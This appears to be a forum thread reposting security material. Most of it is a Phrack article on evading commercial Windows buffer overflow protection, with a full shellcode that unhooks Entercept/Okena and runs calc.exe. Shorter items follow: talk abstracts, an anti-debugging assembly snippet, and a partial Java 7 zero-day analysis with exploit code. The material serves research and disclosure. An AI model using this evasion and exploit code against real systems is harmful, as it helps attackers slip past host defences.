Nytro

Bypassing 3rd Party Windows Buffer Overflow Protection ==Phrack Inc.== Volume 0x0b, Issue 0x3e, Phile #0x05 of 0x10 |=-----------------------------------------------------------------------=| |=-----=[ Bypassing 3rd Party Windows Buffer Overflow Protection ]=------=| |=-----------------------------------------------------------------------=| |=--------------=[ anonymous <p62_wbo_a@author.phrack.org ]=-------------=| |=--------------=[ Jamie Butler <james.butler@hbgary.com> ]=-------------=| |=--------------=[ anonymous <p62_wbo_b@author.phrack.org ]=-------------=| --[ Contents 1 - Introduction 2 - Stack Backtracing 3 - Evading Kernel Hooks 3.1 - Kernel Stack Backtracing 3.2 - Faking Stack Frames 4 - Evading Userland Hooks 4.1 - Implementation Problems - Incomplete API Hooking 4.1.1 - Not Hooking all API Versions 4.1.2 - Not Hooking Deeply Enough 4.1.3 - Not Hooking Thoroughly Enough 4.2 - Fun With Trampolines 4.2.1 Patch Table Jumping 4.2.2 Hook Hopping 4.3 - Repatching Win32 APIs 4.4 - Attacking Userland Components 4.4.1 IAT Patching 4.4.2 Data Section Patching 4.5 - Calling Syscalls Directly 4.6 - Faking Stack Frames 5 - Conclusions --[ 1 - Introduction Recently, a number of commercial security systems started to offer protection against buffer overflows. This paper analyzes the protection claims and describes several techniques to bypass the buffer overflow protection. Existing commercial systems implement a number of techniques to protect against buffer overflows. Currently, stack backtracing is the most popular one. It is also the easiest to implement and the easiest to bypass. Several commercial products such as Entercept (now NAI Entercept) and Okena (now Cisco Security Agent) implement this technique. --[ 2 - Stack Backtracing Most of the existing commercial security systems do not actually prevent buffer overflows but rather try to attempt to detect the execution of shellcode. The most common technology used to detect shellcode is code page permission checking which involves checking whether code is executing on a writable page of memory. This is necessary since architectures such as x86 do not support the non-executable memory bit. Some systems also perform additional checking to see whether code's page of memory belongs to a memory mapped file section and not to an anonymous memory section. [-----------------------------------------------------------] page = get_page_from_addr( code_addr ); if (page->permissions & WRITABLE) return BUFFER_OVERFLOW; ret = page_originates_from_file( page ); if (ret != TRUE) return BUFFER_OVERFLOW; [-----------------------------------------------------------] Pseudo code for code page permission checking Buffer overflow protection technologies (BOPT) that rely on stack backtracing don't actually create non-executable heap and stack segments. Instead they hook the OS and check for shellcode execution during the hooked API calls. Most operating systems can be hooked in userland or in kernel. Next section deals with evading kernel hooks, while section 4 deals with bypassing userland hooks. --[ 3 - Evading Kernel Hooks When hooking the kernel, Host Intrusion Prevention Systems (HIPS) must be able to detect where a userland API call originated. Due to the heavy use of kernel32.dll and ntdll.dll libraries, an API call is usually several stack frames away from the actual syscall trap call. For this reason, some intrusion preventions systems rely on using stack backtracing to locate the original caller of a system call. ----[ 3.1 - Kernel Stack Backtracing While stack backtracing can occur from either userland or kernel, it is far more important for the kernel components of a BOPT than its userland components. The existing commercial BOPT's kernel components rely entirely on stack backtracing to detect shellcode execution. Therefore, evading a kernel hook is simply a matter of defeating the stack backtracing mechanism. Stack backtracing involves traversing stack frames and verifying that the return addresses pass the buffer overflow detection tests described above. Frequently, there is also an additional "return into libc" check, which involves checking that a return address points to an instruction immediately following a call or a jump. The basic operation of stack backtracing code, as used by a BOPT, is presented below. [-----------------------------------------------------------] while (is_valid_frame_pointer( ebp )) { ret_addr = get_ret_addr( ebp ); if (check_code_page(ret_addr) == BUFFER_OVERFLOW) return BUFFER_OVERFLOW; if (does_not_follow_call_or_jmp_opcode(ret_addr)) return BUFFER_OVERFLOW; ebp = get_next_frame( ebp ); } [-----------------------------------------------------------] Pseudo code for BOPT stack backtracing When discussing how to evade stack backtracing, it is important to understand how stack backtracing works on an x86 architecture. A typical stack frame looks as follows during a function call: : : |-------------------------| | function B parameter #2 | |-------------------------| | function B parameter #1 | |-------------------------| | return EIP address | |-------------------------| | saved EBP | |=========================| | function A parameter #2 | |-------------------------| | function A parameter #1 | |-------------------------| | return EIP address | |-------------------------| | saved EBP | |-------------------------| : : The EBP register points to the next stack frame. Without the EBP register it is very hard, if not impossible, to correctly identify and trace through all the stack frames. Modern compilers often omit the use of EBP as a frame pointer and use it as a general purpose register instead. With an EBP optimization, a stack frame looks as follows during a function call: |-----------------------| | function parameter #2 | |-----------------------| | function parameter #1 | |-----------------------| | return EIP address | |-----------------------| Notice that the EBP register is not present on the stack. Without an EBP register it is not possible for the buffer overflow detection technologies to accurately perform stack backtracing. This makes their task incredibly hard as a simple return into libc style attack will bypass the protection. Simply originating an API call one layer higher than the BOPT hook defeats the detection technique. ----[ 3.2 - Faking Stack Frames Since the stack is under complete control of the shellcode, it is possible to completely alter its contents prior to an API call. Specially crafted stack frames can be used to bypass the buffer overflow detectors. As was explained previously, the buffer overflow detector is looking for three key indicators of legitimate code: read-only page permissions, memory mapped file section and a return address pointing to an instruction immediately following a call or jmp. Since function pointers change calling semantics, BOPT do not (and cannot) check that a call or jmp actually points to the API being called. Most importantly, the BOPT cannot check return addresses beyond the last valid EBP frame pointer (it cannot stack backtrace any further). Evading a BOPT is therefore simply a matter of creating a "final" stack frame which has a valid return address. This valid return address must point to an instruction residing in a read-only memory mapped file section and immediately following a call or jmp. Provided that the dummy return address is reasonably close to a second return address, the shellcode can easily regain control. The ideal instruction sequence to point the dummy return address to is: [-----------------------------------------------------------] jmp [eax] ; or call [eax], or another register dummy_return: ... ; some number of nops or easily ; reversed instructions, e.g. inc eax ret ; any return will do, e.g. ret 8 [-----------------------------------------------------------] Bypassing kernel BOPT components is easy because they must rely on user controlled data (the stack) to determine the validity of an API call. By correctly manipulating the stack, it is possible to prematurely terminate the stack return address analysis. This stack backtracing evasion technique is also effective against userland hooks (see section 4.6). --[ 4 - Evading Userland Hooks Given the presence of the correct instruction sequence in a valid region of memory, it is possible to trivially bypass kernel buffer overflow protection techniques. Similar techniques can be used to bypass userland BOPT components. In addition, since the shellcode executes with the same permissions as the userland hooks, a number of other techniques can be used to evade the detection. ----[ 4.1 - Implementation Problems - Incomplete API Hooking There are many problems with the userland based buffer overflow protection technologies. For example, they require the buffer overflow protection code to be in the code path of all attacker's calls or the shellcode execution will go undetected. Trying to determine what an attacker will do with his or her shellcode a priori is an extremely hard problem, if not an impossible one. Getting on the right path is not easy. Some of the obstacles in the way include: a. Not accounting for both UNICODE and ANSI versions of a Win32 API call. b. Not following the chaining nature of API calls. For example, many functions in kernel32.dll are nothing more than wrappers for other functions within kernel32.dll or ntdll.dll. c. The constantly changing nature of the Microsoft Windows API. --------[ 4.1.1 - Not Hooking All API Versions A commonly encountered mistake with userland API hooking implementations is incomplete code path coverage. In order for an API interception based products to be effective, all APIs utilized by attackers must be hooked. This requires the buffer overflow protection technology to hook somewhere along the code path an attacker _has_ to take. However, as will be shown, once an attacker has begun executing code, it becomes very difficult for third party systems to cover all code paths. Indeed, no tested commercial buffer overflow detector actually provided an effective code path coverage. Many Windows API functions have two versions: ANSI and UNICODE. The ANSI function names usually end in A, and UNICODE functions end in W because of their wide character nature. The ANSI functions are often nothing more than wrappers that call the UNICODE version of the API. For example, CreateFileA takes the ANSI file name that was passed as a parameter and turns it into an UNICODE string. It then calls CreateFileW. Unless a vendor hooks both the UNICODE and ANSI version of the API function, an attacker can bypass the protection mechanism by simply calling the other version of the function. For example, Entercept 4.1 hooks LoadLibraryA, but it makes no attempt to intercept LoadLibraryW. If a protection mechanism was only going to hook one version of a function, it would make more sense to hook the UNICODE version. For this particular function, Okena/CSA does a better job by hooking LoadLibraryA, LoadLibraryW, LoadLibraryExA, and LoadLibraryExW. Unfortunately for the third party buffer overflow detectors, simply hooking more functions in kernel32.dll is not enough. --------[ 4.1.2 - Not Hooking Deeply Enough In Windows NT, kernel32.dll acts as a wrapper for ntdll.dll and yet many buffer overflow detection products do not hook functions within ntdll.dll. This simple error is similar to not hooking both the UNICODE and ANSI versions of a function. An attacker can simply call the ntdll.dll directly and completely bypass all the kernel32.dll "checkpoints" established by a buffer overflow detector. For example, NAI Entercept tries to detect shellcode calling GetProcAddress() in kernel32.dll. However, the shellcode can be rewritten to call LdrGetProcedureAddress() in ntdll.dll, which will accomplish the same goal, and at the same time never pass through the NAI Entercept hook. Similarly, shellcode can completely bypass userland hooks altogether and make system calls directly (see section 4.5). --------[ 4.1.3 - Not Hooking Thoroughly Enough The interactions between the various different Win32 API functions is byzantine, complex and difficult to understand. A vendor must make only one mistake in order to create a window of opportunity for an attacker. For example, Okena/CSA and NAI Entercept both hook WinExec trying to prevent attacker's shellcode from spawning a process. The call path for WinExec looks like this: WinExec() --> CreateProcessA() --> CreateProcessInternalA() Okena/CSA and NAI Entercept hook both WinExec() and CreateProcessA() (see Appendix A and . However, neither product hooks CreateProcessInternalA() (exported by kernel32.dll). When writing a shellcode, an attacker could find the export for CreateProcessInternalA() and use it instead of calling WinExec(). CreateProcessA() pushes two NULLs onto the stack before calling CreateProcessInternalA(). Thus a shellcode only needs to push two NULLs and then call CreateProcessInternalA() directly to evade the userland API hooks of both products. As new DLLs and APIs are released, the complexity of Win32 API internal interactions increases, making the problem worse. Third party product vendors are at a severe disadvantage when implementing their buffer overflow detection technologies and are bound to make mistakes which can be exploited by attackers. ----[ 4.2 - Fun With Trampolines Most Win32 API functions begin with a five byte preamble. First, EBP is pushed onto the stack, then ESP is moved into EBP. [-----------------------------------------------------------] Code Bytes Assembly 55 push ebp 8bec mov ebp, esp [-----------------------------------------------------------] Both Okena/CSA and Entercept use inline function hooking. They overwrite the first 5 bytes of a function with an immediate unconditional jump or call. For example, this is what the first few bytes of WinExec() look like after NAI Entercept's hooks have been installed: [-----------------------------------------------------------] Code Bytes Assembly e8 xx xx xx xx call xxxxxxxx 54 push esp 53 push ebx 56 push esi 57 push edi [-----------------------------------------------------------] Alternatively, the first few bytes could be overwritten with a jump instruction: [-----------------------------------------------------------] Code Bytes Assembly e9 xx xx xx xx jmp xxxxxxxx ... [-----------------------------------------------------------] Obviously, it is easy for shellcode to test for these and other signatures before calling a function. If a hijacking mechanism is detected, the shellcode can use several different techniques to bypass the hook. ------[ 4.2.1 - Patch Table Jumping When an API is hooked, the original preamble is saved into a table so that the buffer overflow detector can recreate the original API after performing its validation checks. The preamble is stored in a patch table, which resides somewhere in the address space of an application. When shellcode detects the presence of an API hook, it can simply search for the patch table and make its calls to patch table entries. This completely avoids the hook, preventing the userland buffer overflow detector components from ever being in the attacker's call path. ------[ 4.2.2 - Hook Hopping Alternatively, instead of locating the patch table, shellcode can include its own copy of the original pre-hook preamble. After executing its own API preamble, the shellcode can transfer execution to immediately after the API hook (function address plus five bytes). Since Intel x86 has variable length instructions, one must take this into account in order to land on an even instruction boundary: [-----------------------------------------------------------] Shellcode: call WinExecPreamble WinExecPreamble: push ebp mov ebp, esp sub esp, 54 jmp WinExec+6 [-----------------------------------------------------------] This technique will not work if another function within the call path is also hooked. In this case, Entercept also hooks CreateProcessA(), which WinExec() calls. Thus, to evade detection shellcode should call CreateProcessA() using the stored copy of CreateProcessA's preamble. ----[ 4.3 - Repatching Win32 APIs Thoroughly hooking Win32 APIs is not effective when certain fundamental errors are made in the implementation of a userland buffer overflow detection component. Certain implementations (NAI Entercept) have a serious problem with the way they perform their API hooking. In order to be able to overwrite preambles of hooked functions, the code section for a DLL has to be made writable. Entercept marks code sections of kernel32.dll and ntdll.dll as writable in order to be able to modify their contents. However, Entercept never resets the writable bit! Due to this serious security flaw, it is possible for an attacker to overwrite the API hook by re-injecting the original preamble code. For the WinExec() and CreateProcessA() examples, this would require overwriting the first 6 bytes (just to be instruction aligned) of WinExec() and CreateProcessA() with the original preamble. [-----------------------------------------------------------] WinExecOverWrite: Code Bytes Assembly 55 push ebp 8bec mov ebp, esp 83ec54 sub esp, 54 CreateProcessAOverWrite: Code Bytes Assembly 55 push ebp 8bec mov ebp, esp ff752c push DWORD PTR [ebp+2c] [-----------------------------------------------------------] This technique will not work against properly implemented buffer overflow detectors, however it is very effective against NAI Entercept. A complete shellcode example which overwrites the NAI Entercept hooks is presented below: [-----------------------------------------------------------] // This sample code overwrites the preamble of WinExec and // CreateProcessA to avoid detection. The code then // calls WinExec with a "calc.exe" parameter. // The code demonstrates that by overwriting function // preambles, it is able to evade Entercept and Okena/CSA // buffer overflow protection. _asm { pusha jmp JUMPSTART START: pop ebp xor eax, eax mov al, 0x30 mov eax, fs:[eax]; mov eax, [eax+0xc]; // We now have the module_item for ntdll.dll mov eax, [eax+0x1c] // We now have the module_item for kernel32.dll mov eax, [eax] // Image base of kernel32.dll mov eax, [eax+0x8] movzx ebx, word ptr [eax+3ch] // pe.oheader.directorydata[EXPORT=0] mov esi, [eax+ebx+78h] lea esi, [eax+esi+18h] // EBX now has the base module address mov ebx, eax lodsd // ECX now has the number of function names mov ecx, eax lodsd add eax,ebx // EDX has addresses of functions mov edx,eax lodsd // EAX has address of names add eax,ebx // Save off the number of named functions // for later push ecx // Save off the address of the functions push edx RESETEXPORTNAMETABLE: xor edx, edx INITSTRINGTABLE: mov esi, ebp // Beginning of string table inc esi MOVETHROUGHTABLE: mov edi, [eax+edx*4] add edi, ebx // EBX has the process base address xor ecx, ecx mov cl, BYTE PTR [ebp] test cl, cl jz DONESTRINGSEARCH STRINGSEARCH: // ESI points to the function string table repe cmpsb je Found // The number of named functions is on the stack cmp [esp+4], edx je NOTFOUND inc edx jmp INITSTRINGTABLE Found: pop ecx shl edx, 2 add edx, ecx mov edi, [edx] add edi, ebx push edi push ecx xor ecx, ecx mov cl, BYTE PTR [ebp] inc ecx add ebp, ecx jmp RESETEXPORTNAMETABLE DONESTRINGSEARCH: OverWriteCreateProcessA: pop edi pop edi push 0x06 pop ecx inc esi rep movsb OverWriteWinExec: pop edi push edi push 0x06 pop ecx inc esi rep movsb CallWinExec: push 0x03 push esi call [esp+8] NOTFOUND: pop edx STRINGEXIT: pop ecx popa; jmp EXIT JUMPSTART: add esp, 0x1000 call START WINEXEC: _emit 0x07 _emit 'W' _emit 'i' _emit 'n' _emit 'E' _emit 'x' _emit 'e' _emit 'c' CREATEPROCESSA: _emit 0x0e _emit 'C' _emit 'r' _emit 'e' _emit 'a' _emit 't' _emit 'e' _emit 'P' _emit 'r' _emit 'o' _emit 'c' _emit 'e' _emit 's' _emit 's' _emit 'A' ENDOFTABLE: _emit 0x00 WinExecOverWrite: _emit 0x06 _emit 0x55 _emit 0x8b _emit 0xec _emit 0x83 _emit 0xec _emit 0x54 CreateProcessAOverWrite: _emit 0x06 _emit 0x55 _emit 0x8b _emit 0xec _emit 0xff _emit 0x75 _emit 0x2c COMMAND: _emit 'c' _emit 'a' _emit 'l' _emit 'c' _emit '.' _emit 'e' _emit 'x' _emit 'e' _emit 0x00 EXIT: _emit 0x90 // Normally call ExitThread or something here _emit 0x90 } [-----------------------------------------------------------] ----[ 4.4 - Attacking Userland Components While evading the hooks and techniques used by userland buffer overflow detector components is effective, there exist other mechanisms of bypassing the detection. Because both the shellcode and the buffer overflow detector are executing with the same privileges and in the same address space, it is possible for shellcode to directly attack the buffer overflow detector userland component. Essentially, when attacking the buffer overflow detector userland component the attacker is attempting to subvert the mechanism used to perform the shellcode detection check. There are only two principle techniques for shellcode validation checking. Either the data used for the check is determined dynamically during each hooked API call, or the data is gathered at process start up and then checked during each call. In either case, it is possible for an attacker to subvert the process. ------[ 4.4.1 - IAT Patching Rather than implementing their own versions of memory page information functions, the commercial buffer overflow protection products simply use the operating system APIs. In Windows NT, these are implemented in ntdll.dll. These APIs will be imported into the userland component (itself a DLL) via its PE Import Table. An attacker can patch vectors within the import table to alter the location of an API to a function supplied by the shellcode. By supplying the function used to do the validation checking by the buffer overflow detector, it is trivial for an attacker to evade detection. ------[ 4.4.2 - Data Section Patching For various reasons, a buffer overflow detector might use a pre-built list of page permissions within the address space. When this is the case, altering the address of the VirtualQuery() API is not effective. To subvert the buffer overflow detector, the shellcode has to locate and modify the data table used by the return address validation routines. This is a fairly straightforward, although application specific, technique for subverting buffer overflow prevention technologies. ----[ 4.5 - Calling Syscalls Directly As mentioned above, rather than using ntdll.dll APIs to make system calls, it is possible for an attacker to create shellcode which makes system call directly. While this technique is very effective against userland components, it obviously cannot be used to bypass kernel based buffer overflow detectors. To take advantage of this technique you must understand what parameters a kernel function uses. These may not always be the same as the parameters required by the kernel32 or ntdll API versions. Also, you must know the system call number of the function in question. You can find this dynamically using a technique similar to the one to find function addresses. Once you have the address of the ntdll.dll version of the function you want to call, index into the function one byte and read the following DWORD. This is the system call number in the system call table for the function. This is a common trick used by rootkit developers. Here is the pseudo code for calling NtReadFile system call directly: ... xor eax, eax // Optional Key push eax // Optional pointer to large integer with the file offset push eax push Length_of_Buffer push Address_of_Buffer // Before call make room for two DWORDs called the IoStatusBlock push Address_of_IoStatusBlock // Optional ApcContext push eax // Optional ApcRoutine push eax // Optional Event push eax // Required file handle push hFile // EAX must contain the system call number mov eax, Found_Sys_Call_Num // EDX needs the address of the userland stack lea edx, [esp] // Trap into the kernel // (recent Windows NT versions use "sysenter" instead) int 2e ----[ 4.6 - Faking Stack Frames As described in section 3.2, kernel based stack backtracing can be bypassed using fake frames. Same techniques works against userland based detectors. To bypass both userland and kernel backtracing, shellcode can create a fake stack frame without the ebp register on stack. Since stack backtracing relies on the presence of the ebp register to find the next stack frame, fake frames can stop backtracing code from tracing past the fake frame. Of course, generating a fake stack frame is not going to work when the EIP register still points to shellcode which resides in a writable memory segment. To bypass the protection code, shellcode needs to use an address that lies in a non-writable memory segment. This presents a problem since shellcode needs a way to eventually regain control of the execution. The trick to regaining control is to proxy the return to shellcode through a "ret" instruction which resides in a non-writable memory segment. "ret" instruction can be found dynamically by searching memory for a 0xC3 opcode. Here is an illustration of a normal LoadLibrary("kernel32.dll") call that originates from a writable memory segment: push kernel32_string call LoadLibrary return_eip: . . . LoadLibrary: ; * see below for a stack illustration . . . ret ; return to stack-based return_eip |------------------------------| | address of "kernel32.dll" str| |------------------------------| | return address (return_eip) | |------------------------------| As explained before, the buffer overflow protection code executes before LoadLibrary gets to run. Since the return address (return_eip) is in a writable memory segment, the protection code logs the overflow and terminates the process. Next example illustrates 'proxy through a "ret" instruction' technique: push return_eip push kernel32_string ; fake "call LoadLibrary" call push address_of_ret_instruction jmp LoadLibrary return_eip: . . . LoadLibrary: ; * see below for a stack illustration . . . ret ; return to non stack-based address_of_ret_instruction address_of_ret_instruction: . . . ret ; return to stack-based return_eip Once again, the buffer overflow protection code executes before LoadLibrary gets to run. This time though, the stack is setup with a return address pointing to a non-writable memory segment. In addition, the ebp register is not present on stack thus the protection code cannot perform stack backtracing and determine that the return address in the next stack frame points to a writable segment. This allows the shellcode to call LoadLibrary which returns to the "ret" instruction. In its turn, the "ret" instruction pops the next return address off stack (return_eip) and transfers control to it. |------------------------------| | return address (return_eip) | |------------------------------| | address of "kernel32.dll" str| |------------------------------| | address of "ret" instruction | |------------------------------| In addition, any number of arbitrary complex fake stack frames can be setup to further confuse the protection code. Here is an example of a fake frame that uses a "ret 8" instruction instead of simple "ret": |--------------------------------| | return address | |--------------------------------| | address of "ret" instruction | <- fake frame 2 |--------------------------------| | any value | |--------------------------------| | address of "kernel32.dll" str | |--------------------------------| | address of "ret 8" instruction | <- fake frame 1 |--------------------------------| This causes an extra 32-bit value to be removed from stack, complicating any kind of analysis even further. --[ 5 - Conclusions The majority of commercial security systems do not actually prevent buffer overflows but rather detect the execution of shellcode. The most common technology used to detect shellcode is code page permission checking which relies on stack backtracing. Stack backtracing involves traversing stack frames and verifying that the return addresses do not originate from writable memory segments such as stack or heap areas. The paper presents a number of different ways to bypass both userland and kernel based stack backtracing. These range from tampering with function preambles to creating fake stack frames. In conclusion, the majority of current buffer overflow protection implementations are flawed, providing a false sense of security and little real protection against determined attackers. Appendix A: Entercept 4.1 Hooks Entercept hooks a number of functions in userland and in the kernel. Here is a list of the currently hooked functions as of Entercept 4.1. User Land msvcrt.dll _creat _read _write system kernel32.dll CreatePipe CreateProcessA GetProcAddress GetStartupInfoA LoadLibraryA PeekNamedPipe ReadFile VirtualProtect VirtualProtectEx WinExec WriteFile advapi32.dll RegOpenKeyA rpcrt4.dll NdrServerInitializeMarshall user32.dll ExitWindowsEx ws2_32.dll WPUCompleteOverlappedRequest WSAAddressToStringA WSACancelAsyncRequest WSACloseEvent WSAConnect WSACreateEvent WSADuplicateSocketA WSAEnumNetworkEvents WSAEventSelect WSAGetServiceClassInfoA WSCInstallNameSpace wininet.dll InternetSecurityProtocolToStringW InternetSetCookieA InternetSetOptionExA lsasrv.dll LsarLookupNames LsarLookupSids2 msv1_0.dll Msv1_0ExportSubAuthenticationRoutine Msv1_0SubAuthenticationPresent Kernel NtConnectPort NtCreateProcess NtCreateThread NtCreateToken NtCreateKey NtDeleteKey NtDeleteValueKey NtEnumerateKey NtEnumerateValueKey NtLoadKey NtLoadKey2 NtQueryKey NtQueryMultipleValueKey NtQueryValueKey NtReplaceKey NtRestoreKey NtSetValueKey NtMakeTemporaryObject NtSetContextThread NtSetInformationProcess NtSetSecurityObject NtTerminateProcess Appendix B: Okena/Cisco CSA 3.2 Hooks Okena/CSA hooks many functions in userland but many less in the kernel. A lot of the userland hooks are the same ones that Entercept hooks. However, almost all of the functions Okena/CSA hooks in the kernel are related to altering keys in the Windows registry. Okena/CSA does not seem as concerned as Entercept about backtracing calls in the kernel. This leads to an interesting vulnerability, left as an exercise to the reader. User Land kernel32.dll CreateProcessA CreateProcessW CreateRemoteThread CreateThread FreeLibrary LoadLibraryA LoadLibraryExA LoadLibraryExW LoadLibraryW LoadModule OpenProcess VirtualProtect VirtualProtectEx WinExec WriteProcessMemory ole32.dll CoFileTimeToDosDateTime CoGetMalloc CoGetStandardMarshal CoGetState CoResumeClassObjects CreateObjrefMoniker CreateStreamOnHGlobal DllGetClassObject StgSetTimes StringFromCLSID oleaut32.dll LPSAFEARRAY_UserUnmarshal urlmon.dll CoInstall Kernel NtCreateKey NtOpenKey NtDeleteKey NtDeleteValueKey NtSetValueKey NtOpenProcess NtWriteVirtualMemory |=[ EOF ]=---------------------------------------------------------------=| Sursa: .:: Phrack Magazine ::.

Security Mitigations for Return-Oriented Programming Attacks Piotr Bania Kryptos Logic Research KryptosLogic 2010 Abstract With the discovery of new exploit techniques, new protection mechanisms are needed as well. Mitigations like DEP (Data Execution Prevention) or ASLR (Address Space Layout Randomization) created a significantly more difficult environment for vulnerability exploitation. Attackers, however, have recently developed new exploitation methods which are capable of bypassing the operating system’s security protection mechanisms. In this paper we present a short summary of novel and known mitigation techniques against return-oriented programming (ROP) attacks. The techniques described in this article are related mostly to x86-321 processors and Microsoft Windows operating systems. Download: kryptoslogic.com/download/ROP_Whitepaper.pdf

The Tor Software Ecosystem Description: THE TOR SOFTWARE ECOSYSTEM At the very beginning, Tor was just a socks proxy that protected the origin and/or destination of your TCP flows. Now the broader Tor ecosystem includes a diverse set of projects -- browser extensions to patch Firefox and Thunderbird's privacy issues, Tor controller libraries to let you interface with the Tor client in your favorite language, network scanners to measure relay performance and look for misbehaving exit relays, LiveCDs, support for the way Android applications expect Tor to behave, full-network simulators and testing frameworks, plugins to make Tor's traffic look like Skype or other protocols, and metrics and measurement tools to keep track of how well everything's working. Many of these tools aim to be useful beyond Tor: making them modular means they're reusable for other anonymity and security projects as well. In this talk, Roger and Jake will walk you through all the tools that make up the Tor software world, and give you a better understanding of which ones need love and how you can help. At the very beginning, Tor was just a socks proxy that protected the origin and/or destination of your TCP flows. Now the broader Tor ecosystem includes a diverse set of projects -- browser extensions to patch Firefox and Thunderbird's privacy issues, Tor controller libraries to let you interface with the Tor client in your favorite language, network scanners to measure relay performance and look for misbehaving exit relays, LiveCDs, support for the way Android applications expect Tor to behave, full-network simulators and testing frameworks, plugins to make Tor's traffic look like Skype or other protocols, and metrics and measurement tools to keep track of how well everything's working. Many of these tools aim to be useful beyond Tor: making them modular means they're reusable for other anonymity and security projects as well. In this talk, Roger and Jake will walk you through all the tools that make up the Tor software world, and give you a better understanding of which ones need love and how you can help. Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: The Tor Software Ecosystem

Static Analysis Of Java Class Files For Quickly And Accurately Detecting Web Description: Abstract Attacks such as Cross-Site Scripting, HTTP header injection, and SQL injection take advantage of weaknesses in the way some web applications handle incoming character strings. One technique for defending against injection vulnerabilities is to sanitize untrusted strings using encoding methods. These methods convert the reserved characters in a string to an inert representation which prevents unwanted side effects. However, encoding methods which are insufficiently thorough or improperly integrated into applications can pose a significant security risk. This paper will outline an algorithm for identifying encoding methods through automated analysis of Java bytecode. The approach combines an efficient heuristic search with selective rebuilding and execution of likely candidates. This combination provides a scalable and accurate technique for identifying and profiling code that could constitute a serious weakness in an application. ***** Speakers Arshan Dabirsiaghi. Aspect Security Matthew Paisner, Aspect Security Alex Emsellem, Intern Software Engineer, Aspect Security Intern Software Engineer, Aspect Security Currently pursuing a bachelor's degree in Computer Science. I'm primarily focused on software reverse engineering and exploitation. Around ten years ago I found my first vulnerability in a web application, and remember it vividly. I live for innovative ideas and the cutting-edge. Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Static Analysis of Java Class Files for Quickly and Accurately Detecting Web-Language Encoding Methods on Vimeo Sursa: Static Analysis Of Java Class Files For Quickly And Accurately Detecting Web

Wtf - Waf Testing Framework Description: Abstract We will be presenting a new approach to evaluating web application firewall capabilities that is suitable to the real world use case. Our methodology touches on issues like False Positive / False Negative rates, evasion techniques and white listing / black listing balance. We will demonstrate a tool that can be used by organizations to implement the methodology either when choosing an application protection solution or after deployment. ***** Speakers Yaniv Azaria, Security Research Team Leader, Impervia Inc. Yaniv holds a B.Sc and M.Sc in Computer Science. An industry veteran with experience in developing web applications, bio-informatic algorithms and database security products. Was team leader for database security research in Imperva for 3 years and for the past couple of years conducts general database and application security research in general. Amichai Shulman, Co-Founder and CTO of Impervia, Inc. Co-founder and CTO of Imperva Inc with 20 years of information security experience in the military and corporate world. Leading our research group in the areas of vulnerability research as well as hacker intelligence. Holds B.Sc and M.Sc in Computer Science. Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: WTF - WAF Testing Framework - Yaniv Azaria and Amichai Shulman on Vimeo Sursa: Wtf - Waf Testing Framework

[h=1]Undocumented API use - NtSetInformationThread[/h]Author: [h=1]drew77[/h] ; Use of the still undocumented NtSetInformationThread. ; .386 .model flat,stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\advapi32.inc include \masm32\include\ntdll.inc include \masm32\macros\macros.asm includelib \masm32\lib\kernel32.lib includelib \masm32\lib\user32.lib includelib \masm32\lib\advapi32.lib includelib \masm32\lib\ntdll.lib .data Failed db "Busted.",0 Sample db " ",0 .code start: ; When the function is called, the thread will continue to ; run but a debugger will no longer receive any events ; related to that thread. Among the missing events are that ; the process has terminated, if the main thread is the ; hidden one. This technique is used by ; HyperUnpackMe2, among others. invoke NtSetInformationThread,-2,11h,NULL,NULL ; as of Saturday, January 12, 2013, STILL undocumented ; Details at hxxp://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Thread/NtSetInformationThread.html ;thread detached if debugged ;invoke MessageBox, 0, ADDR Failed, ADDR Sample,MB_ICONINFORMATION invoke ExitProcess,0 end start Sursa: Undocumented API use - NtSetInformationThread - rohitab.com - Forums

Packet Fence 3.6.1 Site packetfence.org PacketFence is a network access control (NAC) system. It is actively maintained and has been deployed in numerous large-scale institutions. It can be used to effectively secure networks, from small to very large heterogeneous networks. PacketFence provides NAC-oriented features such as registration of new network devices, detection of abnormal network activities including from remote snort sensors, isolation of problematic devices, remediation through a captive portal, and registration-based and scheduled vulnerability scans. Download: http://packetstormsecurity.com/files/download/119507/packetfence-3.6.1.tar.gz Sursa: Packet Fence 3.6.1 ? Packet Storm

This write up documents an analysis of the current Java zero-day floating around that affects version 7 update 10. Hello All, We were notified today of ongoing attacks with the use of a new Java vulnerability affecting latest version 7 Update 10 of the software [1][2]. Due to the unpatched status of Issue 50 [3] and some inquiries received regarding whether the attack code found exploited this bug, we had a quick look at the exploit code found in the wild. Below, we are providing you with the results of our analysis. The 0-day attack code that was spotted in the wild today is yet another instance of Java security vulnerabilities that stem from insecure implementation of Reflection API [4]. The new attack is a combination of two vulnerabilities. The first flaw allows to load arbitrary (restricted) classes by the means of findClass method of com.sun.jmx.mbeanserver.MBeanInstantiator class. This can be accomplished by the means of this code: public static Class loadClass(String name) throws Throwable { JmxMBeanServerBuilder jmxbsb=new JmxMBeanServerBuilder(); JmxMBeanServer jmxbs=(JmxMBeanServer)jmxbsb.newMBeanServer("",null,null); MBeanInstantiator mbi=jmxbs.getMBeanInstantiator(); return mbi.findClass(name,(ClassLoader)null); } The problem stems from insecure call to Class.forName() method. The second issue abuses the new Reflection API to successfully obtain and call MethodHandle objects that point to methods and constructors of restricted classes. This second issue relies on invokeWithArguments method call of java.lang.invoke.MethodHandle class, which has been already a subject of a security problem (Issue 32 that we reported to Oracle on Aug 31, 2012). The company had released a fix for Issue 32 in Oct 2012. However, it turns out that the fix was not complete as one can still abuse invokeWithArguments method to setup calls to invokeExact method with a trusted system class as a target method caller. This time the call is however done to methods of new Reflection API (from java.lang.invoke.* package), of which many rely on security checks conducted against the caller of the target method. Oracle's fix for Issue 32 relies on a binding of the MethodHandle object to the caller of a target method / constructor if it denotes a potentially dangerous Reflection API call. This binding has a form of injecting extra stack frame from a caller's Class Loader namespace into the call stack prior to issuing a security sensitive method call. Calls to blacklisted Reflection APIs are detected with the use of isCallerSensitive method of MethodHandleNatives class. The blacklisting however focuses primarily on Core Reflection API (Class.forName(), Class.getMethods(), etc.) and does not take into account the possibility to use new Reflection API calls. As a result, 